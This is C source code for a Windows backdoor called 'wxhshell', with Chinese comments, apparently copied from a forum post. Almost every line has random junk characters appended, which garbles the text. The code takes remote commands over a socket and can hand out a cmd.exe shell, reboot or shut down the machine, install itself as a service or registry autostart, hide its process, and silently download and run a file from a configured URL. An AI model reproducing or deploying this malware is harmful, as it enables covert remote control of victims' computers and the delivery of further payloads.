    switch(cmd[0]) { G#V}9l8 Q  
  aBo8?VV]8  
  // 帮助 ooJ ^8L  
  case '?': { 4>q^W$  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); n5nV4 61U  
    break; eY3l^Su1  
  } _{.=zv|3  
  // 安装 r"yA=d'c  
  case 'i': { (C< ~:Y?%  
    if(Install()) +UzFHiGy#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +f{CfWIKs  
    else  2C9wOO  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5k0r{^#M  
    break; \ (y6o}aW  
    } x/nlIoT  
  // 卸载 ]Lc:M'V#  
  case 'r': { fz%I'+!  
    if(Uninstall()) <+MNv#1:w  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;]ojfR=?%  
    else ]Y#$!fIx  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  Vf:w.G A  
    break; ]X:{y&g(  
    } UlBg6   
  // 显示 wxhshell 所在路径 *?/9lAm  
  case 'p': { U.7;:W}c  
    char svExeFile[MAX_PATH]; kcy?;b;z  
    strcpy(svExeFile,"\n\r"); ;^5d^-T  
      strcat(svExeFile,ExeFile); ~n)!e#p  
        send(wsh,svExeFile,strlen(svExeFile),0); z^s40707x  
    break; ahagt9[,:F  
    } |meo  
  // 重启 _pu G?p  
  case 'b': { mZ;W$y SO  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); kV@*5yc?R  
    if(Boot(REBOOT)) 7aH E:Dnwp  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); eySV -f{  
    else { "j+zd&*={  
    closesocket(wsh); <VP@#  
    ExitThread(0); zk+&5d 4(  
    } M8Y\1#~  
    break; 2ql7*g?Uq@  
    } b6Jv|1w'  
  // 关机 pWo`iM& F  
  case 'd': { 0- GA,I_  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Ndj9B|s_  
    if(Boot(SHUTDOWN)) zV)Ob0M7U  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Nrl&"IK|J  
    else { 3c5=>'^F  
    closesocket(wsh); WNkAI9B  
    ExitThread(0); *G"vV>OSV  
    } L@*0wx`fU  
    break; 76[O3%  
    } ayfZ>x{s*  
  // 获取shell <UJgl{ -  
  case 's': { &gc8"B@V  
    CmdShell(wsh); 1x+Y gL5  
    closesocket(wsh); &(!Sy?tNe  
    ExitThread(0); uHdrHP  
    break; A8JEig 3Ix  
  } ;I'pC?!y  
  // 退出 9wLV\>i  
  case 'x': { 5m")GWQaP@  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); }+U} [G  
    CloseIt(wsh); #84pRU~  
    break; M 7j0&>NTG  
    } v'`9^3(-  
  // 离开 ZVotIQ/Q'  
  case 'q': { Tfc5R;Rw  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); dbGW`_zQ4  
    closesocket(wsh); fRo_rj _  
    WSACleanup(); Ww*='lz  
    exit(1); Wt+aW  
    break; h'wOslyFa  
        } jnFCt CB  
  } T*>n a8W  
  } tBe)#-O  
Oqzz9+  
  // 提示信息 y|!%C-P  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 5,!,mor$]  
} \ief [  
  } Z~o*$tF/  
_xign 3  
  return; ~~ ]/<d  
} Q[i/]  
eW)(u$C|qL  
// shell模块句柄 yEUFK  
int CmdShell(SOCKET sock) XJnDx 09h  
{ T{u!4Yu  
STARTUPINFO si; 9&5\L  
ZeroMemory(&si,sizeof(si)); ' >> IMF  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ((rk)Q+;v  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Y?hC/ 6$7  
PROCESS_INFORMATION ProcessInfo; +]Of f^s  
char cmdline[]="cmd"; DG1  >T  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); :qy`!QPUm  
  return 0; y|b|_eE?{  
} $DC*&hqpt  
L'4ob4r{L  
// 自身启动模式 ^a|$z$spf  
int StartFromService(void) 94r8DkI  
{ #"d.D7nA  
typedef struct 5=Mm=HyI2  
{ BR\% aU$u  
  DWORD ExitStatus; %[4/UD=7  
  DWORD PebBaseAddress; eN{[T PPCq  
  DWORD AffinityMask; 9"2.2li5$  
  DWORD BasePriority; %*P59%  
  ULONG UniqueProcessId; o7VNw8Bp  
  ULONG InheritedFromUniqueProcessId;  Q^/5hA  
}   PROCESS_BASIC_INFORMATION; *w4jET>  
!cw<C*  
PROCNTQSIP NtQueryInformationProcess; Pgg6(O9}B^  
WZ5[tZf  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; =25q Y"Mf  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; .Ozfj@ f  
_:0<]<x?  
  HANDLE             hProcess; v vlfL*f  
  PROCESS_BASIC_INFORMATION pbi; S5d:?^PGg  
bv0B  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); >b,o yM  
  if(NULL == hInst ) return 0; @``kt*+K+  
c&)H   
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); g^8dDY[%  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); mp0p#8txi  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); /7*jH2  
nWN~G  
  if (!NtQueryInformationProcess) return 0; " e g`3v  
1O45M/5\o  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); k@5#^G  
  if(!hProcess) return 0;  ?1r@r  
64s+ 0}  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; _baqN!N  
\l{*1lQ`  
  CloseHandle(hProcess); wc)[r~On(5  
i2.y)K)  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); *)ed(+b  
if(hProcess==NULL) return 0; v6oPAqj,r  
D[ 7K2G+  
HMODULE hMod; T;GBZR%  
char procName[255]; 0NfO|l7P  
unsigned long cbNeeded; NUH;GMj,,  
sxgR;gf6  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); X~0l1 @!  
7oF`Os+U  
  CloseHandle(hProcess); z A&0H  
5YC56,X  
if(strstr(procName,"services")) return 1; // 以服务启动 H24g+<Tv  
#lltXqvD?  
  return 0; // 注册表启动 .`Z{ptt>  
} `m3@mJ!>\  
h|=^@F_\`  
// 主模块 (m)%5*:  
int StartWxhshell(LPSTR lpCmdLine) jm RYL("  
{ v7Knu]  
  SOCKET wsl; P :lv Z   
BOOL val=TRUE; kjaz{&P  
  int port=0; f*XF"@ZQV  
  struct sockaddr_in door; T 6QnCmB4  
lx$Y-Tb^F  
  if(wscfg.ws_autoins) Install(); H xb{bF  
6i.'S5.  
port=atoi(lpCmdLine); 8o-?Y.2  
6;n^/3*#  
if(port<=0) port=wscfg.ws_port; hp-< 8Mf  
CSr{MF`]e  
  WSADATA data; `Z|s p  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 32~Tf,  
WcH^bAY6  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   {6 #3`  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ,;/4E  
  door.sin_family = AF_INET; T:)>Tcv}:  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); %M}zi'qQ?  
  door.sin_port = htons(port); }S#.Pw%  
ljiq+tT  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ykM#EyN  
closesocket(wsl); '/sc `(`:0  
return 1; ~%<PEl|  
} N->;q^  
_KZ(Yq>SdY  
  if(listen(wsl,2) == INVALID_SOCKET) { :[ITjkhde0  
closesocket(wsl); ~B=\![  
return 1; V?_%Y<|L  
} ZM|>Va/X  
  Wxhshell(wsl); !?l 23(d  
  WSACleanup(); ]6:5<NW  
1Rczf(,aT  
return 0; z 9D2,N.  
9txZ6/  
} E_H1X'|qS4  
e<p$Op  
// 以NT服务方式启动 0(i`~g5  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 3zl!x  
{ IcQ?^9%{  
DWORD   status = 0; ;JZXSM-3  
  DWORD   specificError = 0xfffffff; Etl7V  
%kcg#p+tE  
  serviceStatus.dwServiceType     = SERVICE_WIN32; >)N#n`  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; TuF:m"4  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; JHQ8o5bEQp  
  serviceStatus.dwWin32ExitCode     = 0; xS(sRx+A  
  serviceStatus.dwServiceSpecificExitCode = 0; $< aBawLZO  
  serviceStatus.dwCheckPoint       = 0; sRMzU  
  serviceStatus.dwWaitHint       = 0; Wt`D  
cYp}$  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); @i`gR%  
  if (hServiceStatusHandle==0) return; t{ 7l.>kf  
S1B/ClKWq  
status = GetLastError(); G{"1  I  
  if (status!=NO_ERROR) )ld7^G  
{ 9F-k:hD |  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 0GR9opZtA  
    serviceStatus.dwCheckPoint       = 0; Q?tV:jogY  
    serviceStatus.dwWaitHint       = 0; |4c==7.  
    serviceStatus.dwWin32ExitCode     = status; #<~f~{x  
    serviceStatus.dwServiceSpecificExitCode = specificError; [D,:=p`  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); I,S'zHR  
    return; 3K{8sFDO  
  } ku{aOV%  
t,+S~Cj|  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; H|Nw)*.  
  serviceStatus.dwCheckPoint       = 0; jgstx3  
  serviceStatus.dwWaitHint       = 0; YNXk32@j@e  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ,,J3 h  
} s6D-?G*u%8  
4 * OU  
// 处理NT服务事件,比如:启动、停止 1FJ[_ l  
VOID WINAPI NTServiceHandler(DWORD fdwControl) mQs$7t[>t  
{ >S!DIL  
switch(fdwControl) mc'p-orAf  
{ ]Yg EnZ  
case SERVICE_CONTROL_STOP: ]KeNC)R  
  serviceStatus.dwWin32ExitCode = 0; [Mz;:/  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; X2[cR;;'  
  serviceStatus.dwCheckPoint   = 0; sJoi fl 7  
  serviceStatus.dwWaitHint     = 0; m'tk#C  
  { e{;e   
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); bY~v0kg  
  } YZl%JX  
  return; JNaW> X$K  
case SERVICE_CONTROL_PAUSE: Xt =bc  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; E5 oD|'=WA  
  break; .Qt3!ek  
case SERVICE_CONTROL_CONTINUE: ?vFh)U  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; mj=|oIMwT  
  break; }qhK.e  
case SERVICE_CONTROL_INTERROGATE: %KF:- w  
  break; N| Pm|w*?  
}; od1omYsR  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1omvE9 %zM  
} SAh054/St  
}G+A_HF ^  
// 标准应用程序主函数 wG5RN;`V  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Xp6*Y1Y  
{ k_<{j0z.  
g@i>R>  
// 获取操作系统版本 HFuaoS+b*  
OsIsNt=GetOsVer(); %:KV2GP  
GetModuleFileName(NULL,ExeFile,MAX_PATH); `?^w  
""3m!qn#  
  // 从命令行安装 1lyOp   
  if(strpbrk(lpCmdLine,"iI")) Install();  \t# 9zn>  
}.UI&UZ-  
  // 下载执行文件 `l2<  
if(wscfg.ws_downexe) { arS'th:j  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) no NF;zT  
  WinExec(wscfg.ws_filenam,SW_HIDE); 4c[)}8\  
} 1{x~iZa  
<nTmZ-;  
if(!OsIsNt) { ` .(S#!gw  
// 如果时win9x,隐藏进程并且设置为注册表启动 eM=)>zl  
HideProc(); @gSFvb bc  
StartWxhshell(lpCmdLine); S"TMsi  
} ClMtl59  
else 4Sstg57x~  
  if(StartFromService()) Of7) A  
  // 以服务方式启动 mERrcYY{  
  StartServiceCtrlDispatcher(DispatchTable); } ndvV~*1  
else OZ!$%.?l  
  // 普通方式启动 'SU9NQS  
  StartWxhshell(lpCmdLine); PR@4' r|a  
e*2&s5 #RT  
return 0; +yb$[E*  
}
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只看该作者 1 发表于: 2006-10-10
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